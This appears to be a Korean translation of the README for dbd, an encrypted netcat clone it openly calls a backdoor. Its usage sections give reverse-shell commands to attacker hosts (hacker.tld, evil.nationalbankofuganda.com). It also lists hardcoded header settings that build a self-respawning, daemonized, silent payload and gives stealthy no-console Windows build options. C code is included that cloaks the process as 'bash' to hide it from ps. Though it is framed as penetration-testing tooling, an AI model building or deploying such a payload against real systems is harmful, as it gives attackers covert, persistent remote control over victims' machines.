
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #저작권 (C) 2013 Kyle Barnthouse [email protected] #dbd는 GNU GPL에 따라 배포됩니다 #Mipsbe 바이너리는 Darkerego [https://github.com/darkerego] [(mailto:[email protected])]가 추가함
###개요
dbd는 휴대성을 높이고 강력한 암호화를 제공하도록 설계된 Netcat 클론입니다. Unix 계열 운영 체제와 Microsoft Win32에서 실행됩니다. dbd는 AES-CBC-128 + HMAC-SHA1 암호화(Christophe Devine 작성), 프로그램 실행(-e 옵션), 소스 포트 선택, 지연을 통한 지속적 재연결 및 기타 몇 가지 유용한 기능을 갖추고 있습니다. dbd는 TCP/IP 통신만 지원합니다. 소스 코드와 바이너리는 GNU 일반 공중 사용 허가서(GNU General Public License)에 따라 배포됩니다.
###컴파일
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Unix 계열 운영 체제에서 dbd를 컴파일하려면 gcc와 관련 개발 도구가 필요합니다. Linux, FreeBSD, NetBSD, OpenBSD(및 기타 운영 체제)에서는 다음을 입력하십시오:
$ make unix
SunOS/Solaris에서는 다음을 입력하십시오:
$ make sunos
Microsoft Windows(NT/2K/XP/2K3)에서 dbd를 컴파일하려면 MinGW+MSYS 또는 전체 개발 지원이 포함된 Cygwin(Cygwin의 MinGW gcc)이 필요합니다. Cygwin에서 네이티브 Win32 dbd 콘솔 애플리케이션을 컴파일하려면 다음을 입력하십시오:
$ make win32
또는 MSYS에서:
$ make mingw
Cygwin에서 콘솔 없는("WinMain") 애플리케이션을 컴파일하려면 다음을 입력하십시오:
$ make win32bg
또는 MSYS에서:
$ make mingwbg
Cygwin 전용 콘솔 애플리케이션을 컴파일하려면 다음을 입력하십시오:
$make cygwin
dbd의 기본 동작을 변경하고 싶을 수 있습니다. 가장 중요한 것 중 하나는 기본 공유 비밀(shared secret)을 자신만의 암호문구(pass phrase)로 변경하는 것입니다. dbd.h를 편집하여 원하는 값으로 교체하십시오. 예를 들어, dbd가 옵션 없이 시작될 때 연결할 호스트와 포트를 하드코딩하고 싶을 수 있습니다. 완전한 예제는 dbd.h에 제공되어 있습니다.
###사용 예제
약간의 상상력을 더하면 dbd는 다양한 용도로 사용될 수 있습니다:
dbd를 사용하여 두 네트워크 간에 파일을 안전하게 전송하기:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
또는 win32에서:
C:\somedir>type input.fil | dbd -k secret snafu 12345
dbd를 간단하지만(안전한) 채팅으로 사용하기:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
dbd를 침투 테스트 백도어로 사용하기:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
또는 Unix 계열 OS에서:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###하드코딩 옵션
명령줄 옵션을 사용하는 것 외에도 dbd.h에서 #define을 사용하여 변수를 하드코딩할 수 있습니다. 이렇게 하려면 사용하려는 변수를 명명된 상수(named constants)로 설정하고 평소처럼 컴파일하면 됩니다. 예를 들어, 포트 995의 "evil.nationalbankofuganda.com"으로 역연결되고 "/bin/bash"를 실행하는 dbd 실행 파일을 하드코딩하려면 다음을 실행하면 됩니다:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
또는 하드코딩된 #define을 사용하려면 dbd.h를 편집하면 됩니다:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
연결 유지를 돕기 위해 재생성(respawn) 및 은닉(stealth) 옵션을 설정할 수도 있습니다:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
이렇게 하면 연결이 데몬화되고(악성코드 용어로 "melt"), STDOUT으로 출력을 절대 보내지 않으며, 리스너와 연결이 끊어지면 15분마다 연결 재생성을 시도합니다.
###로물란 클로킹 기술
이제 재미있는 부분으로 들어가 보겠습니다. 백도어에 옵션을 하드코딩하는 데 능숙해지면, 우리가 사용할 수 있는 가장 재미있는 명명 상수인 CLOAK를 사용할 수 있습니다. 이렇게 하려면 값을 설정하기만 하면 됩니다:
#define CLOAK 1
참고: 현재 *nix 컴파일에서만 작동합니다. 언젠가 Win32 프로세스 마이그레이션/후킹을 추가하여 해당 대상도 로물란의 혜택을 받을 수 있도록 할 계획입니다.
*nix 환경에서 이 옵션은 argv[0]을 지우고 "bash\0" 문자열로 대체합니다. 또한 다른 모든 argv[]도 지웁니다(ps가 "bash -e /bin/bash someremotehost.com 443"을 반환한다면 이상해 보이겠죠?) 이 옵션은 DBD.H에 변수를 하드코딩하는 경우가 아니면 사용할 수 없다는 것은 말할 필요도 없을 것입니다. 또한 자신의 시스템에서 이 기능을 테스트한다면 죽일 올바른 pid를 골라내는 것도 재미있을 것입니다. ;)
이 스크러버(scrubber)는 작업 중인 어떤 프로젝트에서든 자유롭게 사용하십시오:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###경고
캐시된 입력(명령이 담긴 파일 등)을 리스닝 중인 "dbd -e" 세션에 전달하지 마십시오. "dbd -e"는 파이프를 사용하여 실행 중인 프로그램과 dbd 사이에서 데이터를 전달합니다. 파이프와 소켓 사이의 암호화로 인해 (단순한 통과식 중복 파일 디스크립터 대신) 파이프가 사용됩니다. 파이프 중 하나의 쓰기 끝(writing end)이 전체 프로세스를 차단하는 것을 방지하기 위해 이를 비차단(non-blocking) 디스크립터로 전환했습니다. -e 프로그램에 한 번에 너무 많은 입력을 전달하면 (OS의) 파이프 버퍼가 모든 데이터를 담을 수 없어 입력이 잘릴(truncated) 가능성이 있습니다. 이 문제는 예를 들어 dbd를 멀티스레드로 만들면 해결할 수 있지만, 호환성 문제로 가능한 한 오랫동안 이렇게 하는 것을 피할 것입니다.
##크로스 컴파일
dbd는 다른 도구/프레임워크와의 상호 운용을 위해 설계되었으므로, make는 이제 mingw32-gcc 툴체인을 갖춘 Linux 시스템에서 win32 크로스 컴파일을 지원합니다. 이러한 옵션은 선택한 빌드 이름 뒤에 "-cross"가 추가된다는 점을 제외하면 Windows 네이티브 옵션과 거의 동일합니다. 예:
$ make mingw-cross
는 mingw/msys가 설치된 win32 시스템에서
$ make mingw
명령이 수행하는 것과 동일한 작업을 Linux 시스템에서 수행합니다.
현재 모든 크로스 컴파일 옵션은 Kali Linux를 염두에 두고 빌드되지만, 약간의 애정을 더하면 모든 *nix에서도 작동할 것입니다. mingw32-gcc가 설치되어 있는데 make가 빌드되지 않는다면 Makefile 상단의 WCC 변수를 편집하여 mingw32-gcc 바이너리의 경로를 입력하십시오.
dbd-1.5부터는 툴체인 접두사를 CROSS_COMPILE로 설정하여 어떤 크로스빌드 툴체인으로든 dbd를 컴파일할 수 있습니다. 예를 들어 arm 버전을 빌드하는 것은 매우 간단합니다:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##고급 마법
dbd를 익스플로잇 프레임워크와 통합하려면 대상에 특화된 구성 옵션이 포함된 맞춤형 dbd.h를 생성하는 모듈을 작성할 수 있습니다. 이 파일에서 명시적으로 #define되지 않은 항목은 여전히 기본값을 사용하므로 헤더에 모든 것을 작성할 필요가 없습니다. 예: dbd.h 파일을 삭제하고 다음으로 대체하십시오:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
그런 다음 make 를 호출하여, evil.nationalbankofuganda.com에서 다음 옵션으로 실행 중인 리스닝 dbd 에이전트에 역연결되는 클로킹 및 재생성 기능을 갖춘 자동 연결 페이로드를 빌드하십시오:
$ dbd -l -p 995 -k customcrypto
또 다른 고급 팁은 dietlibc 또는 uClibc를 사용하여 dbd를 컴파일하는 것입니다. dietlibc Linux dbd 에이전트를 컴파일하려면 다음을 사용하십시오:
$ make unix CROSS_COMPILE="diet -Os "
문자열에서 s 뒤의 공백에 주의하십시오. 이 공백 덕분에 Makefile이 표준 CFLAGS 및 LDFLAGS와 함께 gcc를 추가하여 에이전트가 올바르게 빌드됩니다. dietlibc를 사용하면 대상 환경용으로 매우 작은 100% 정적 실행 파일이 생성되는 장점이 있습니다(패킹 전 Linux dbd 에이전트 기준 약 70K이며, glibc 및 gcc -static을 사용하는 표준 700K+와 대조적). uClibc를 사용하는 것은 훨씬 쉽습니다. CROSS_COMPILE 아래에 툴체인의 크로스빌드 접두사만 설정하면 되기 때문입니다.
##라이선스
dbd 저작권 (C) 2013 Kyle Barnthouse [email protected]
이 프로그램은 자유 소프트웨어입니다. Free Software Foundation이 발표한 GNU 일반 공중 사용 허가서 버전 2 또는 (선택에 따라) 이후 버전의 조건에 따라 이 프로그램을 재배포하거나 수정할 수 있습니다.
이 프로그램은 유용하게 사용되리라는 희망 하에 배포되지만, 어떠한 보증도 제공되지 않습니다. 상품성(MERCHANTABILITY) 또는 특정 목적에의 적합성(FITNESS FOR A PARTICULAR PURPOSE)에 대한 묵시적 보증조차 없습니다. 자세한 내용은 GNU 일반 공중 사용 허가서를 참조하십시오.
이 프로그램과 함께 GNU 일반 공중 사용 허가서의 사본을 받았을 것입니다. 받지 못했다면 Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA로 문의하십시오.
dbd의 AES-CBC-128 + HMAC-SHA1 구현은 Christophe Devine([email protected])이 저작권(C)을 보유하고 있으며 GNU 일반 공중 사용 허가서(GPL)에 따라 배포됩니다.
일부 코드(doexec_win32.h용)는 Netcat의 Win32 포트에 포함된 doexec.c(C) Weld Pond 및 hobbit)에서 파생되었습니다. doexec.c의 일부는 (C) 1994 Nathaniel W. Mishkin의 저작권입니다(doexec.c 코드는 원래 rlogind.exe에서 파생되었습니다).
Netcat의 원본 버전은 hobbit([email protected])이 작성했습니다. NT 버전은 Weld Pond([email protected])가 작성했습니다.
(C) Kyle Barnthouse [email protected]
보안 컨설턴트
gitbrew.org
Hephaestus Security